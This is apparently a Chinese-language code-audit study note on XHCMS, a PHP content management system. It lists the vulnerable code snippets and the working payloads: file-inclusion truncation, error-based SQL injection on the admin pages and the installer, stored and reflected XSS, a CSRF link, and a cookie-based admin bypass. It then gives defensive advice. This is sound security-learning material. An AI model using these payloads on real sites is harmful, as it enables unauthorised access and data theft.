xhcms审计学习
字数 1209 2025-08-29 08:32:30
XHCMS 代码审计学习文档
一、环境搭建
-
环境要求:
- PHP 5.4.45
- MySQL 5.5.53
- 不兼容 PHP 7
-
安装步骤:
- 下载 XHCMS 源码并解压到 PHPStudy 根目录
- 启动 PHPStudy
- 创建数据库(如 testxhcms)
- 访问安装页面完成安装
二、目录结构分析
admin/ - 管理后台文件夹
css/ - CSS 文件
files/ - 页面文件
images/ - 图片资源
inc/ - 网站配置文件
install/ - 安装文件夹
seacmseditor/ - 编辑器
template/ - 模板文件
upload/ - 上传功能
index.php - 网站首页
三、漏洞审计
1. 文件包含漏洞
位置:index.php 和 admin/index.php
漏洞代码:
$file=addslashes($_GET['r']);
$action=$file==''?'index':$file;
include('files/'.$action.'.php');
利用条件:
- Windows 系统
- PHP 版本=5.2.17
- Virtual Directory Support=enable
利用方法:
- 使用 Windows 文件名长度截断
- Payload:
?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
2. SQL 注入漏洞
(1) 后台登录注入
位置:/admin/files/login.php
漏洞代码:
$user=$_POST['user'];
$query = "SELECT * FROM manage WHERE user='$user'";
利用方法:
POST: user=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--
(2) 栏目编辑注入
位置:/admin/files/editcolumn.php
漏洞代码:
$id=$_GET['id'];
$type=$_GET['type'];
$query = "SELECT * FROM nav WHERE id='$id'";
利用方法:
?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(3) 链接编辑注入
位置:/admin/files/editlink.php
漏洞代码:
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
利用方法:
?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
(4) 重装注入
位置:/install/index.php
漏洞代码:
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
利用方法:
user=1' or extractvalue(1,concat(0x7e,(select version()),0x7e))#
3. XSS 漏洞
(1) 存储型 XSS
位置:/admin/files/adset.php
漏洞代码:
$ad1=addslashes($_POST['ad1']);
echo $ad['ad1'];
利用方法:
</textarea><script>alert('hahhahahaa')</script>
(2) 反射型 XSS
位置:/files/contact.php
漏洞代码:
$page=addslashes($_GET['page']);
echo "第".$page."页 - ";
利用方法:
?r=contact&page=<script>alert(/xss/)</script>
4. CSRF 漏洞
位置:/admin/files/linklist.php
漏洞代码:
$delete=$_GET['delete'];
$query = "DELETE FROM download WHERE id='$delete'";
利用方法:
- 构造恶意链接诱导管理员点击
5. 越权漏洞
位置:/inc/checklogin.php
漏洞代码:
- 仅通过 cookie 中的 user 字段判断登录状态
利用方法:
- 直接添加 cookie:
user=admin
四、防御建议
-
SQL 注入防御:
- 使用预处理语句
- 对输入进行严格过滤
- 使用白名单验证
-
XSS 防御:
- 输出时使用 htmlspecialchars()
- 设置 Content-Security-Policy
-
CSRF 防御:
- 添加 CSRF Token
- 检查 Referer
-
文件包含防御:
- 使用白名单限制包含文件
- 避免动态包含
-
越权防御:
- 使用 Session 验证登录状态
- 实现完整的权限验证机制
五、审计总结
- XHCMS 存在大量未过滤的 SQL 注入点
- 多处存在存储型和反射型 XSS
- 后台功能普遍缺乏 CSRF 防护
- 登录验证机制存在缺陷
- 文件包含漏洞可导致任意代码执行
六、学习要点
- 审计工具(如 Seay)可辅助发现漏洞,但需人工验证
- 变量追踪是审计的关键技能
- 理解 addslashes() 的局限性
- 注意二次转义问题
- 完整的功能测试比单纯代码审计更重要